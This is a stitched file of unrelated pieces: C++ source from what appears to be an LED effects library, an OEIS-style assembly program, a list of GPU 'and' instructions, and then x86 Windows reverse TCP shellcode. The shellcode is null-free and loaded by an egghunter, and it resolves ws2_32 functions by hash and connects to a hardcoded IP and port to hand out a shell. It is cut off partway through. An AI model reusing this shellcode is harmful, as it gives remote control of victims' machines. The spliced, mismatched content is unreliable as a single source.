if (seg.mode != modePrev || seg.speed != speedPrev || seg.intensity != intensityPrev || seg.palette != palettePrev) return true;
return false;
}
void WS2812FX::setColor(uint8_t slot, uint8_t r, uint8_t g, uint8_t b, uint8_t w) {
setColor(slot, ((uint32_t)w << 24) |((uint32_t)r << 16) | ((uint32_t)g << 8) | b);
}
void WS2812FX::setColor(uint8_t slot, uint32_t c) {
if (slot >= NUM_COLORS) return;
bool applied = false;
if (applyToAllSelected) {
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++)
{
if (_segments[i].isSelected()) {
_segments[i].setColor(slot, c, i);
applied = true;
}
}
}
if (!applyToAllSelected || !applied) {
uint8_t mainseg = getMainSegmentId();
_segments[mainseg].setColor(slot, c, mainseg);
}
}
void WS2812FX::setBrightness(uint8_t b) {
if (gammaCorrectBri) b = gamma8(b);
if (_brightness == b) return;
_brightness = b;
_segment_index = 0;
if (_brightness == 0) { //unfreeze all segments on power off
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++)
{
_segments[i].setOption(SEG_OPTION_FREEZE, false);
}
}
if (SEGENV.next_time > millis() + 22 && millis() - _lastShow > MIN_SHOW_DELAY) show();//apply brightness change immediately if no refresh soon
}
uint8_t WS2812FX::getMode(void) {
return _segments[getMainSegmentId()].mode;
}
uint8_t WS2812FX::getSpeed(void) {
return _segments[getMainSegmentId()].speed;
}
uint8_t WS2812FX::getBrightness(void) {
return _brightness;
}
uint8_t WS2812FX::getMaxSegments(void) {
return MAX_NUM_SEGMENTS;
}
/*uint8_t WS2812FX::getFirstSelectedSegment(void)
{
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++)
{
if (_segments[i].isActive() && _segments[i].isSelected()) return i;
}
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++) //if none selected, get first active
{
if (_segments[i].isActive()) return i;
}
return 0;
}*/
uint8_t WS2812FX::getMainSegmentId(void) {
if (mainSegment >= MAX_NUM_SEGMENTS) return 0;
if (_segments[mainSegment].isActive()) return mainSegment;
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++) //get first active
{
if (_segments[i].isActive()) return i;
}
return 0;
}
uint32_t WS2812FX::getColor(void) {
return _segments[getMainSegmentId()].colors[0];
}
uint32_t WS2812FX::getPixelColor(uint16_t i)
{
i = realPixelIndex(i);
if (i < customMappingSize) i = customMappingTable[i];
if (_skipFirstMode) i += LED_SKIP_AMOUNT;
if (i >= _lengthRaw) return 0;
return busses.getPixelColor(i);
}
WS2812FX::Segment& WS2812FX::getSegment(uint8_t id) {
if (id >= MAX_NUM_SEGMENTS) return _segments[0];
return _segments[id];
}
WS2812FX::Segment_runtime WS2812FX::getSegmentRuntime(void) {
return SEGENV;
}
WS2812FX::Segment* WS2812FX::getSegments(void) {
return _segments;
}
uint32_t WS2812FX::getLastShow(void) {
return _lastShow;
}
//TODO these need to be on a per-strip basis
uint8_t WS2812FX::getColorOrder(void) {
return COL_ORDER_GRB;
}
void WS2812FX::setColorOrder(uint8_t co) {
//bus->SetColorOrder(co);
}
void WS2812FX::setSegment(uint8_t n, uint16_t i1, uint16_t i2, uint8_t grouping, uint8_t spacing) {
if (n >= MAX_NUM_SEGMENTS) return;
Segment& seg = _segments[n];
//return if neither bounds nor grouping have changed
if (seg.start == i1 && seg.stop == i2 && (!grouping || (seg.grouping == grouping && seg.spacing == spacing))) return;
if (seg.stop) setRange(seg.start, seg.stop -1, 0); //turn old segment range off
if (i2 <= i1) //disable segment
{
seg.stop = 0;
if (n == mainSegment) //if main segment is deleted, set first active as main segment
{
for (uint8_t i = 0; i < MAX_NUM_SEGMENTS; i++)
{
if (_segments[i].isActive()) {
mainSegment = i;
return;
}
}
mainSegment = 0; //should not happen (always at least one active segment)
}
return;
}
if (i1 < _length) seg.start = i1;
seg.stop = i2;
if (i2 > _length) seg.stop = _length;
if (grouping) {
seg.grouping = grouping;
seg.spacing = spacing;
}
_segment_runtimes[n].reset();
}
void WS2812FX::resetSegments() {
mainSegment = 0;
memset(_segments, 0, sizeof(_segments));
//memset(_segment_runtimes, 0, sizeof(_segment_runtimes));
_segment_index = 0;
_segments[0].mode = DEFAULT_MODE;
_segments[0].colors[0] = DEFAULT_COLOR;
_segments[0].start = 0;
_segments[0].speed = DEFAULT_SPEED;
_segments[0].intensity = DEFAULT_INTENSITY;
_segments[0].stop = _length;
_segments[0].grouping = 1;
_segments[0].setOption(SEG_OPTION_SELECTED, 1);
_segments[0].setOption(SEG_OPTION_ON, 1);
_segments[0].opacity = 255;
for (uint16_t i = 1; i < MAX_NUM_SEGMENTS; i++)
{
_segments[i].colors[0] = color_wheel(i*51);
_segments[i].grouping = 1;
_segments[i].setOption(SEG_OPTION_ON, 1);
_segments[i].opacity = 255;
_segments[i].speed = DEFAULT_SPEED;
_segments[i].intensity = DEFAULT_INTENSITY;
_segment_runtimes[i].reset();
}
_segment_runtimes[0].reset();
}
//After this function is called, setPixelColor() will use that segment (offsets, grouping, ... will apply)
void WS2812FX::setPixelSegment(uint8_t n)
{
if (n < MAX_NUM_SEGMENTS) {
_segment_index = n;
_virtualSegmentLength = SEGMENT.length();
} else {
_segment_index = 0;
_virtualSegmentLength = 0;
}
}
void WS2812FX::setRange(uint16_t i, uint16_t i2, uint32_t col)
{
if (i2 >= i)
{
for (uint16_t x = i; x <= i2; x++) setPixelColor(x, col);
} else
{
for (uint16_t x = i2; x <= i; x++) setPixelColor(x, col);
}
}
void WS2812FX::setShowCallback(show_callback cb)
{
_callback = cb;
}
void WS2812FX::setTransition(uint16_t t)
{
_transitionDur = t;
}
void WS2812FX::setTransitionMode(bool t)
{
unsigned long waitMax = millis() + 20; //refresh after 20 ms if transition enabled
for (uint16_t i = 0; i < MAX_NUM_SEGMENTS; i++)
{
_segment_index = i;
SEGMENT.setOption(SEG_OPTION_TRANSITIONAL, t);
if (t && SEGMENT.mode == FX_MODE_STATIC && SEGENV.next_time > waitMax) SEGENV.next_time = waitMax;
}
}
/*
* color blend function
*/
uint32_t WS2812FX::color_blend(uint32_t color1, uint32_t color2, uint16_t blend, bool b16) {
if(blend == 0) return color1;
uint16_t blendmax = b16 ? 0xFFFF : 0xFF;
if(blend == blendmax) return color2;
uint8_t shift = b16 ? 16 : 8;
uint32_t w1 = (color1 >> 24) & 0xFF;
uint32_t r1 = (color1 >> 16) & 0xFF;
uint32_t g1 = (color1 >> 8) & 0xFF;
uint32_t b1 = color1 & 0xFF;
uint32_t w2 = (color2 >> 24) & 0xFF;
uint32_t r2 = (color2 >> 16) & 0xFF;
uint32_t g2 = (color2 >> 8) & 0xFF;
uint32_t b2 = color2 & 0xFF;
uint32_t w3 = ((w2 * blend) + (w1 * (blendmax - blend))) >> shift;
uint32_t r3 = ((r2 * blend) + (r1 * (blendmax - blend))) >> shift;
uint32_t g3 = ((g2 * blend) + (g1 * (blendmax - blend))) >> shift;
uint32_t b3 = ((b2 * blend) + (b1 * (blendmax - blend))) >> shift;
return ((w3 << 24) | (r3 << 16) | (g3 << 8) | (b3));
}
/*
* Fills segment with color
*/
void WS2812FX::fill(uint32_t c) {
for(uint16_t i = 0; i < SEGLEN; i++) {
setPixelColor(i, c);
}
}
/*
* Blends the specified color with the existing pixel color.
*/
void WS2812FX::blendPixelColor(uint16_t n, uint32_t color, uint8_t blend)
{
setPixelColor(n, color_blend(getPixelColor(n), color, blend));
}
/*
* fade out function, higher rate = quicker fade
*/
void WS2812FX::fade_out(uint8_t rate) {
rate = (255-rate) >> 1;
float mappedRate = float(rate) +1.1;
uint32_t color = SEGCOLOR(1); // target color
int w2 = (color >> 24) & 0xff;
int r2 = (color >> 16) & 0xff;
int g2 = (color >> 8) & 0xff;
int b2 = color & 0xff;
for(uint16_t i = 0; i < SEGLEN; i++) {
color = getPixelColor(i);
int w1 = (color >> 24) & 0xff;
int r1 = (color >> 16) & 0xff;
int g1 = (color >> 8) & 0xff;
int b1 = color & 0xff;
int wdelta = (w2 - w1) / mappedRate;
int rdelta = (r2 - r1) / mappedRate;
int gdelta = (g2 - g1) / mappedRate;
int bdelta = (b2 - b1) / mappedRate;
// if fade isn't complete, make sure delta is at least 1 (fixes rounding issues)
wdelta += (w2 == w1) ? 0 : (w2 > w1) ? 1 : -1;
rdelta += (r2 == r1) ? 0 : (r2 > r1) ? 1 : -1;
gdelta += (g2 == g1) ? 0 : (g2 > g1) ? 1 : -1;
bdelta += (b2 == b1) ? 0 : (b2 > b1) ? 1 : -1;
setPixelColor(i, r1 + rdelta, g1 + gdelta, b1 + bdelta, w1 + wdelta);
}
}
/*
* blurs segment content, source: FastLED colorutils.cpp
*/
void WS2812FX::blur(uint8_t blur_amount)
{
uint8_t keep = 255 - blur_amount;
uint8_t seep = blur_amount >> 1;
CRGB carryover = CRGB::Black;
for(uint16_t i = 0; i < SEGLEN; i++)
{
CRGB cur = col_to_crgb(getPixelColor(i));
CRGB part = cur;
part.nscale8(seep);
cur.nscale8(keep);
cur += carryover;
if(i > 0) {
uint32_t c = getPixelColor(i-1);
uint8_t r = (c >> 16 & 0xFF);
uint8_t g = (c >> 8 & 0xFF);
uint8_t b = (c & 0xFF);
setPixelColor(i-1, qadd8(r, part.red), qadd8(g, part.green), qadd8(b, part.blue));
}
setPixelColor(i,cur.red, cur.green, cur.blue);
carryover = part;
}
}
uint16_t WS2812FX::triwave16(uint16_t in)
{
if (in < 0x8000) return in *2;
return 0xFFFF - (in - 0x8000)*2;
}
/*
* Generates a tristate square wave w/ attac & decay
* @param x input value 0-255
* @param pulsewidth 0-127
* @param attdec attac & decay, max. pulsewidth / 2
* @returns signed waveform value
*/
int8_t WS2812FX::tristate_square8(uint8_t x, uint8_t pulsewidth, uint8_t attdec) {
int8_t a = 127;
if (x > 127) {
a = -127;
x -= 127;
}
if (x < attdec) { //inc to max
return (int16_t) x * a / attdec;
}
else if (x < pulsewidth - attdec) { //max
return a;
}
else if (x < pulsewidth) { //dec to 0
return (int16_t) (pulsewidth - x) * a / attdec;
}
return 0;
}
/*
* Put a value 0 to 255 in to get a color value.
* The colours are a transition r -> g -> b -> back to r
* Inspired by the Adafruit examples.
*/
uint32_t WS2812FX::color_wheel(uint8_t pos) {
if (SEGMENT.palette) return color_from_palette(pos, false, true, 0);
pos = 255 - pos;
if(pos < 85) {
return ((uint32_t)(255 - pos * 3) << 16) | ((uint32_t)(0) << 8) | (pos * 3);
} else if(pos < 170) {
pos -= 85;
return ((uint32_t)(0) << 16) | ((uint32_t)(pos * 3) << 8) | (255 - pos * 3);
} else {
pos -= 170;
return ((uint32_t)(pos * 3) << 16) | ((uint32_t)(255 - pos * 3) << 8) | (0);
}
}
/*
* Returns a new, random wheel index with a minimum distance of 42 from pos.
*/
uint8_t WS2812FX::get_random_wheel_index(uint8_t pos) {
uint8_t r = 0, x = 0, y = 0, d = 0;
while(d < 42) {
r = random8();
x = abs(pos - r);
y = 255 - x;
d = MIN(x, y);
}
return r;
}
uint32_t WS2812FX::crgb_to_col(CRGB fastled)
{
return (((uint32_t)fastled.red << 16) | ((uint32_t)fastled.green << 8) | fastled.blue);
}
CRGB WS2812FX::col_to_crgb(uint32_t color)
{
CRGB fastled_col;
fastled_col.red = (color >> 16 & 0xFF);
fastled_col.green = (color >> 8 & 0xFF);
fastled_col.blue = (color & 0xFF);
return fastled_col;
}
void WS2812FX::load_gradient_palette(uint8_t index)
{
byte i = constrain(index, 0, GRADIENT_PALETTE_COUNT -1);
byte tcp[72]; //support gradient palettes with up to 18 entries
memcpy_P(tcp, (byte*)pgm_read_dword(&(gGradientPalettes[i])), 72);
targetPalette.loadDynamicGradientPalette(tcp);
}
/*
* FastLED palette modes helper function. Limitation: Due to memory reasons, multiple active segments with FastLED will disable the Palette transitions
*/
void WS2812FX::handle_palette(void)
{
bool singleSegmentMode = (_segment_index == _segment_index_palette_last);
_segment_index_palette_last = _segment_index;
byte paletteIndex = SEGMENT.palette;
if (paletteIndex == 0) //default palette. Differs depending on effect
{
switch (SEGMENT.mode)
{
case FX_MODE_FIRE_2012 : paletteIndex = 35; break; //heat palette
case FX_MODE_COLORWAVES : paletteIndex = 26; break; //landscape 33
case FX_MODE_FILLNOISE8 : paletteIndex = 9; break; //ocean colors
case FX_MODE_NOISE16_1 : paletteIndex = 20; break; //Drywet
case FX_MODE_NOISE16_2 : paletteIndex = 43; break; //Blue cyan yellow
case FX_MODE_NOISE16_3 : paletteIndex = 35; break; //heat palette
case FX_MODE_NOISE16_4 : paletteIndex = 26; break; //landscape 33
case FX_MODE_GLITTER : paletteIndex = 11; break; //rainbow colors
case FX_MODE_SUNRISE : paletteIndex = 35; break; //heat palette
case FX_MODE_FLOW : paletteIndex = 6; break; //party
}
}
if (SEGMENT.mode >= FX_MODE_METEOR && paletteIndex == 0) paletteIndex = 4;
switch (paletteIndex)
{
case 0: //default palette. Exceptions for specific effects above
targetPalette = PartyColors_p; break;
case 1: {//periodically replace palette with a random one. Doesn't work with multiple FastLED segments
if (!singleSegmentMode)
{
targetPalette = PartyColors_p; break; //fallback
}
if (millis() - _lastPaletteChange > 1000 + ((uint32_t)(255-SEGMENT.intensity))*100)
{
targetPalette = CRGBPalette16(
CHSV(random8(), 255, random8(128, 255)),
CHSV(random8(), 255, random8(128, 255)),
CHSV(random8(), 192, random8(128, 255)),
CHSV(random8(), 255, random8(128, 255)));
_lastPaletteChange = millis();
} break;}
case 2: {//primary color only
CRGB prim = col_to_crgb(SEGCOLOR(0));
targetPalette = CRGBPalette16(prim); break;}
case 3: {//primary + secondary
CRGB prim = col_to_crgb(SEGCOLOR(0));
CRGB sec = col_to_crgb(SEGCOLOR(1));
targetPalette = CRGBPalette16(prim,prim,sec,sec); break;}
case 4: {//primary + secondary + tertiary
CRGB prim = col_to_crgb(SEGCOLOR(0));
CRGB sec = col_to_crgb(SEGCOLOR(1));
CRGB ter = col_to_crgb(SEGCOLOR(2));
targetPalette = CRGBPalette16(ter,sec,prim); break;}
case 5: {//primary + secondary (+tert if not off), more distinct
CRGB prim = col_to_crgb(SEGCOLOR(0));
CRGB sec = col_to_crgb(SEGCOLOR(1));
if (SEGCOLOR(2)) {
CRGB ter = col_to_crgb(SEGCOLOR(2));
targetPalette = CRGBPalette16(prim,prim,prim,prim,prim,sec,sec,sec,sec,sec,ter,ter,ter,ter,ter,prim);
} else {
targetPalette = CRGBPalette16(prim,prim,prim,prim,prim,prim,prim,prim,sec,sec,sec,sec,sec,sec,sec,sec);
}
break;}
case 6: //Party colors
targetPalette = PartyColors_p; break;
case 7: //Cloud colors
targetPalette = CloudColors_p; break;
case 8: //Lava colors
targetPalette = LavaColors_p; break;
case 9: //Ocean colors
targetPalette = OceanColors_p; break;
case 10: //Forest colors
targetPalette = ForestColors_p; break;
case 11: //Rainbow colors
targetPalette = RainbowColors_p; break;
case 12: //Rainbow stripe colors
targetPalette = RainbowStripeColors_p; break;
default: //progmem palettes
load_gradient_palette(paletteIndex -13);
}
if (singleSegmentMode && paletteFade && SEGENV.call > 0) //only blend if just one segment uses FastLED mode
{
nblendPaletteTowardPalette(currentPalette, targetPalette, 48);
} else
{
currentPalette = targetPalette;
}
}
/*
* Gets a single color from the currently selected palette.
* @param i Palette Index (if mapping is true, the full palette will be SEGLEN long, if false, 255). Will wrap around automatically.
* @param mapping if true, LED position in segment is considered for color
* @param wrap FastLED palettes will usally wrap back to the start smoothly. Set false to get a hard edge
* @param mcol If the default palette 0 is selected, return the standard color 0, 1 or 2 instead. If >2, Party palette is used instead
* @param pbri Value to scale the brightness of the returned color by. Default is 255. (no scaling)
* @returns Single color from palette
*/
uint32_t WS2812FX::color_from_palette(uint16_t i, bool mapping, bool wrap, uint8_t mcol, uint8_t pbri)
{
if (SEGMENT.palette == 0 && mcol < 3) {
uint32_t color = SEGCOLOR(mcol);
if (pbri != 255) {
CRGB crgb_color = col_to_crgb(color);
crgb_color.nscale8_video(pbri);
return crgb_to_col(crgb_color);
} else {
return color;
}
}
uint8_t paletteIndex = i;
if (mapping) paletteIndex = (i*255)/(SEGLEN -1);
if (!wrap) paletteIndex = scale8(paletteIndex, 240); //cut off blend at palette "end"
CRGB fastled_col;
fastled_col = ColorFromPalette( currentPalette, paletteIndex, pbri, (paletteBlend == 3)? NOBLEND:LINEARBLEND);
return crgb_to_col(fastled_col);
}
//@returns `true` if color, mode, speed, intensity and palette match
bool WS2812FX::segmentsAreIdentical(Segment* a, Segment* b)
{
//if (a->start != b->start) return false;
//if (a->stop != b->stop) return false;
for (uint8_t i = 0; i < NUM_COLORS; i++)
{
if (a->colors[i] != b->colors[i]) return false;
}
if (a->mode != b->mode) return false;
if (a->speed != b->speed) return false;
if (a->intensity != b->intensity) return false;
if (a->palette != b->palette) return false;
//if (a->getOption(SEG_OPTION_REVERSED) != b->getOption(SEG_OPTION_REVERSED)) return false;
return true;
}
//load custom mapping table from JSON file
void WS2812FX::deserializeMap(void) {
if (!WLED_FS.exists("/ledmap.json")) return;
DynamicJsonDocument doc(JSON_BUFFER_SIZE); // full sized buffer for larger maps
DEBUG_PRINTLN(F("Reading LED map from /ledmap.json..."));
if (!readObjectFromFile("/ledmap.json", nullptr, &doc)) return; //if file does not exist just exit
if (customMappingTable != nullptr) {
delete[] customMappingTable;
customMappingTable = nullptr;
customMappingSize = 0;
}
JsonArray map = doc[F("map")];
if (!map.isNull() && map.size()) { // not an empty map
customMappingSize = map.size();
customMappingTable = new uint16_t[customMappingSize];
for (uint16_t i=0; i<customMappingSize; i++) {
customMappingTable[i] = (uint16_t) map[i];
}
}
}
//gamma 2.8 lookup table used for color correction
byte gammaT[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2,
2, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5,
5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10,
10, 10, 11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 16, 16,
17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 24, 24, 25,
25, 26, 27, 27, 28, 29, 29, 30, 31, 32, 32, 33, 34, 35, 35, 36,
37, 38, 39, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 50,
51, 52, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 66, 67, 68,
69, 70, 72, 73, 74, 75, 77, 78, 79, 81, 82, 83, 85, 86, 87, 89,
90, 92, 93, 95, 96, 98, 99,101,102,104,105,107,109,110,112,114,
115,117,119,120,122,124,126,127,129,131,133,135,137,138,140,142,
144,146,148,150,152,154,156,158,160,162,164,167,169,171,173,175,
177,180,182,184,186,189,191,193,196,198,200,203,205,208,210,213,
215,218,220,223,225,228,231,233,236,239,241,244,247,249,252,255 };
uint8_t WS2812FX::gamma8_cal(uint8_t b, float gamma) {
return (int)(pow((float)b / 255.0, gamma) * 255 + 0.5);
}
void WS2812FX::calcGammaTable(float gamma)
{
for (uint16_t i = 0; i < 256; i++) {
gammaT[i] = gamma8_cal(i, gamma);
}
}
uint8_t WS2812FX::gamma8(uint8_t b)
{
return gammaT[b];
}
uint32_t WS2812FX::gamma32(uint32_t color)
{
if (!gammaCorrectCol) return color;
uint8_t w = (color >> 24);
uint8_t r = (color >> 16);
uint8_t g = (color >> 8);
uint8_t b = color;
w = gammaT[w];
r = gammaT[r];
g = gammaT[g];
b = gammaT[b];
return ((w << 24) | (r << 16) | (g << 8) | (b));
}
WS2812FX* WS2812FX::instance = nullptr; |
; A014283: a(n) = Fibonacci(n) - n^2.
; 0,0,-3,-7,-13,-20,-28,-36,-43,-47,-45,-32,0,64,181,385,731,1308,2260,3820,6365,10505,17227,28128,45792,74400,120717,195689,317027,513388,831140,1345308,2177285,3523489,5701731,9226240,14929056,24156448,39086725,63244465,102332555,165578460,267912532,433492588,701406797,1134901145,1836309787,2971212864,4807524672,7778739648,12586266525,20365008473,32951277395,53316288364,86267568356,139583859420,225851430581,365435292913,591286726515,956722022560,1548008752320,2504730778240,4052739534037,6557470315873,10610209853627,17167680173340,27777890030932,44945570208364,72723460243517,117669030456233,190392490704235,308061521165088,498454011874080,806515533044064,1304969544923181,2111485077972425,3416454622900931,5527939700878828,8944394323785380
mov $3,$0
cal $0,157725 ; a(n) = Fibonacci(n) + 2.
add $0,1
mov $2,2
pow $3,2
add $2,$3
sub $0,$2
mov $1,$0
sub $1,1
|
and(8) g3<1>UD g2<0,1,0>UD ~g2.2<0,1,0>D { align1 1Q };
and(16) g3<1>UD g2<0,1,0>UD ~g2.2<0,1,0>D { align1 1H };
and(8) g8<1>UD g0.1<0,1,0>UW 0x07ffUW { align1 1Q };
and(16) g20<1>UD g0.1<0,1,0>UW 0x07ffUW { align1 1H };
and.z.f0.0(8) g9<1>UD g8<8,8,1>UD 0x00000003UD { align1 1Q };
and(16) g120<1>D g7<8,8,1>D g2<8,8,1>D { align1 1H };
and.z.f0.0(8) null<1>UD g13<8,8,1>UD g12<8,8,1>UD { align1 1Q };
and.nz.f0.0(8) null<1>UD g4.1<0,1,0>UD g19<8,8,1>UD { align1 1Q };
and.z.f0.0(16) null<1>UD g27<8,8,1>UD g18<8,8,1>UD { align1 1H };
and.nz.f0.0(16) null<1>UD g6.1<0,1,0>UD g22<8,8,1>UD { align1 1H };
and(1) g7<1>UD g5<0,1,0>UD 0x000000f0UD { align1 WE_all 1N };
and.z.f0.0(16) g21<1>UD g19<8,8,1>UD g17<8,8,1>UD { align1 1H };
and(8) g61<1>UD g79<8,8,1>UD g32.1<8,4,2>UD { align1 2Q };
and(8) g96<1>D ~g94<8,8,1>D ~g95<8,8,1>D { align1 1Q };
and(1) a0<1>UD g4<0,1,0>UD 0x000000ffUD { align1 WE_all 1N };
and(16) g66<1>UD g40<8,8,1>UD 0x0000003fUD { align1 2H };
and(1) g2<1>UD g20<0,1,0>UD 0x000000ffUD { align1 WE_all 3N };
and.z.f0.0(8) null<1>D g13<8,8,1>UD 0x0000001fUD { align1 1Q };
and(8) g21<1>UD g15<8,8,1>UD 0x00000003UD { align1 WE_all 1Q };
and(8) g4<1>UW g3<8,8,1>UW 0xfffcUW { align1 1Q };
and(16) g13<1>UW g19<16,8,2>UW 0xfffcUW { align1 1H };
and.nz.f0.0(8) null<1>UD ~g2.2<0,1,0>D g9<8,8,1>UD { align1 1Q };
and(8) g18<1>UD ~g2.2<0,1,0>D g7<8,8,1>UD { align1 1Q };
and.nz.f0.0(16) null<1>UD ~g2.2<0,1,0>D g14<8,8,1>UD { align1 1H };
and(16) g30<1>UD ~g2.2<0,1,0>D g10<8,8,1>UD { align1 1H };
and.nz.f0.0(8) g10<1>UD g9<8,8,1>UD 0x00000001UD { align1 1Q };
and.nz.f0.0(16) g16<1>UD g14<8,8,1>UD 0x00000001UD { align1 1H };
and(8) g12<1>UQ g9<4,4,1>UQ g11<4,4,1>UQ { align1 1Q };
and(8) g26<1>UQ g18<4,4,1>UQ g22<4,4,1>UQ { align1 2Q };
|
;-------------------------------------------------------------------------------------------;
; Author: Shadi Habbal (@Kerpanic), @TheCyberBepop
; Tested on: Windows 10.0.16299 (x86)
; Version: 1.0 (06 June 2021)
;-------------------------------------------------------------------------------------------;
; Characteristics: 223 bytes, Position-Independent-Code (PIC), NULL-free, Reverse TCP shell
; Bonus: keeps track of EIP after each call to find_function
;-------------------------------------------------------------------------------------------;
; Assumptions: ws2_32.dll is already loaded and win sockets are initialized
;-------------------------------------------------------------------------------------------;
fake_start:
;int3 ; bp for windbg, remove when not debugging
find_function:
pushad ; EBX has base_address of module to enumerate
mov eax, [ebx+0x3c] ; offset to PE signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; save AddressOfNames VMA for later use
find_function_loop:
jecxz find_function_finished ; jmp to end if ECX = 0
dec ecx ; dec our names counter
mov eax, [ebp-4] ; restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; get RVA of the symbol name
add esi, ebx ; ESI = VMA of the current symbol names
compute_hash:
xor eax, eax ; EAX = 0
cdq ; EDX = 0 (CDQ converts double quad (extends EAX to EDX which clears EDX)
cld ; clear Direction Flag
compute_hash_again:
lodsb ; load the next byte from ESI into AL and automatically increase ESI based on DF
test al, al
jz compute_hash_finished
ror edx, 0x0d ; rotate EDX 13 bits to the right
add edx, eax ; add the new byte to the accumulator
jmp compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; compare computed hash with the requested hash on stack
jnz find_function_loop ; if not found, move on to next function
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA: MAKE SURE THE OFFSET ESP+0x24 HOLDS THE PRECOMPUTED HASH, IT MAY VARY
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+ecx*2] ; get the function's AddressOfNameOrdinals
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+ecx*4] ; get the function RVA
add eax, ebx ; get the function VMA
mov [esp+0x1c], eax ; overwrite stack version of EAX from pushad
find_function_finished:
popad ; restore the state of EBX, ECX, EDI (and other junk REGs)
pop esi ; pop ret addr
pop edx ; remove function hash off top of stack
push esi ; put ret addr back to stack to simulate a call with the next jmp
jmp eax ; call the found function without storing a ret addr on stack. The one we already have will be used at the end of the function's logic to return to our shell at the right position
real_start:
; w00tw00t goes here. Your egghunter enters the shellcode at this block.
; Most modern egghunters check for the tag by looping. ECX is therefore used and is 0 before entering the shellcode.
; We assume that the egghunter is using EDI to jmp/call into the shellcode.
; EAX = junk
; EBX = addr of w00tw00t
; ECX = 0 (ECX is used as counter in the egghunter and reaches 0 before executing our shellcode)
; EDX = junk
; ESI = junk
; EDI = addr of real_start
; SEH-egghunter jumps here based on @EDI
lea edi, [edi-0x5B] ; EDI = address of find_function. 0x5B is the size of the find_function block
; EAX = junk
; EBX = addr of w00tw00t
; ECX = 0
; EDX = junk
; ESI = junk
; EDI = addr of find_function
mov ebp, esp ; save top of stack frame
add esp, 0xffffffee ; give us 12 bytes buffer on stack to avoid clobbering it when saving our pointers
find_kernel32:
; ECX should be NULL
mov esi, fs:[ecx+30h] ; ESI = &(PEB) ([fs:0x30])
mov esi, [esi+0ch] ; ESI = PEB->Ldr
mov esi, [esi+0x14] ; ESI = PEB->Ldr.InMemOrder (program module)
lodsd ; EAX = [ESI] (ntdll.dll)
xchg eax, esi ; ESI = EAX
lodsd ; EAX = [ESI] (KERNEL32.dll)
mov esi, [eax+0x10] ; ESI = DllBase KERNEL32.dll (EAX - 0x8 + 0x18)
mov [ebp-8], esi ; save base address of kernel32.dll on stack for later
; EAX = junk
; EBX = addr of w00tw00t
; ECX = 0
; EDX = junk
; ESI = junk
; EDI = addr of find_function
find_ws2_32:
xchg eax, esi ; ESI = EAX (current module)
lodsd ; EAX = [ESI] (next module)
mov ebx, [eax+0x28] ; EBX = BaseDllName
cmp byte ptr [ebx+3*2], 0x5F ; 4th letter match "_" ? this should be changed should your vulnerable application load modules with _ as their 4th char.
jne find_ws2_32 ; No: try next module.
mov ebx, [eax+0x10] ; EBX = base address of ws2_32.dll
; EAX = junk
; EBX = baseaddr of ws2_32.dll
; ECX = 0
; EDX = junk
; ESI = junk
; EDI = addr of find_function
start_prepare_sockaddr_in:
push ecx ; (create_sockaddr_in) push sin_zero[]
push ecx ; (create_sockaddr_in) push sin_zero[] - twice because it's an 8 byte array
call_wsasocket:
push ecx ; push dwFlags
push ecx ; push g
push ecx ; push lpProtocolInfo
push ecx ; push protocol (NULL). When not set, it's auto picked based on type and af
push 1 ; push type (SOCK_STREAM=1)
push 2 ; push af (AF_INET=2)
push 0xadf509d9 ; "WSASocketA" hash
call edi ; call find_function
; EAX = socket handle
; EBX = baseaddr of ws2_32.dll
; ECX = junk
; EDX = junk
; ESI = address of create_sockaddr_in
; EDI = addr of find_function
create_sockaddr_in: ; we need to prepare sockaddr_in struct for use
push 0x4c31a8c0 ; push sin_addr (192.168.49.76) - REMEMBER it's reversed
mov ecx, 0xA3EEFFFE ;
neg ecx ; ECX = 0x5c110002
push ecx ; push (sin_family 0x0002 + sin_port 0x115c)
push esp ; push pointer to sockaddr_in struct which is now on the top of the stack
pop ecx ; ECX = pointer to sockaddr_in struct on stack
; EAX = socket handle
; EBX = baseaddr of ws2_32.dll
; ECX = pointer to sockaddr_in struct on stack
; EDX = junk
; ESI = address of start_prepare_startupinfoa
; EDI = addr of find_function
start_prepare_startupinfoa:
; EAX holds socket handle so we put it on the stack for the create_startupinfoa block in advance before it's overwritten by "connect"
; pipe err/out/in to hSocket
push eax ; push hStdError
push eax ; push hStdOutput
push eax ; push hStdInput
call_connect:
push 0x10 ; push sizeof(sockaddr_in)
push ecx ; push *name
push eax ; push hSocket
push 0x60aaf9ec ; "connect" hash
call edi ; call find_function
; EAX = 0
; EBX = baseaddr of ws2_32.dll
; ECX = junk
; EDX = 0
; ESI = address of create_startupinfoa
; EDI = addr of find_function
create_startupinfoa:
; hStdError / hStdOutput / hStdInput already set on stack above
push eax ; push lpReserved2 (NULL)
push eax ; push cbReserved & wShowWindow
mov dl, 0xFF
inc dx
push edx ; push dwFlags (0x100)
push 10
pop ecx
dup:
push eax ; push NULL ECX times
loop dup
push 0x44 ; push cb
push esp ; push pointer to the STARTUPINFOA struct
pop ecx ; ECX = pointer of STARTUPINFOA struct
; EAX = 0
; EBX = baseaddr of ws2_32.dll
